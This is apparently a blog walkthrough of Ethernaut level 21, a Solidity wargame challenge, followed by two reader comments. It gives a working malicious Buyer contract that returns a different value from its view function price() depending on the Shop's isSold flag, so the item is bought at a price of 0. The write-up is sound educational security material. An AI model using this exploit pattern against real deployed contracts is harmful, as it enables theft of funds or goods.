This is the level 21 of OpenZeppelin Ethernaut web3/solidity based game.
Pre-requisites
- Solidity view functions
Hack
Given contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
player
has to set price
to less than it's current value.
The new value of price
is fetched by calling price()
method of a Buyer
contract. Note that there are two distinct price()
calls - in the if
statement check and while setting new value of price
. A Buyer
can cheat by returning a legit value in price()
method of Buyer
during the first invocation (during if
check) and returning any less value, say 0, during second invocation (while setting price
).
But, we can't track the number of price()
invocation in Buyer
contract because price()
must be a view
function (as per the interface) - can't write to storage! However, look closely new price
in buy()
is set after isSold
is set to true
. We can read the public isSold
variable and return from price()
of Buyer
contract accordingly. Bingo!
Write the malicious Buyer
in Remix:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface IShop {
function buy() external;
function isSold() external view returns (bool);
function price() external view returns (uint);
}
contract Buyer {
function price() external view returns (uint) {
bool isSold = IShop(msg.sender).isSold();
uint askedPrice = IShop(msg.sender).price();
if (!isSold) {
return askedPrice;
}
return 0;
}
function buyFromShop(address _shopAddr) public {
IShop(_shopAddr).buy();
}
}
Get the address of Shop
:
contract.address
// Output: <your-instance-address>
Now simply call buyFromShop
of Buyer
with <your-instance-address>
as only param.
The price
in Shop
is now 0. Verify by:
await contract.price().then(v => v.toString())
// Output: '0'
Free buy!
Learned something awesome? Consider starring the github repo 😄
and following me on twitter here 🙏
Top comments (2)
The instructions worked for me, without understanding why.
In the first call of:
we are doing
100 >= price && !false
which reads astrue && true
which returnstrue
But the second time we are doing
0 >= price && !true
which reads asfalse && false
which returnsfalse
How did we then pass the if-statement?
Note that we area not calling
buy()
ofShop
two times. Soif
is not executed two times. But the_buyer.price()
is called two times. One at theif
statement and one in the body ofif
.The first time (in
if
check)_buyer.price()
is calledisSold
isfalse
and_buyer.price()
returns asked price. But at second time call (inif
body)isSold
is set totrue
before_buyer.price()
is called and so_buyer.price()
returns0
.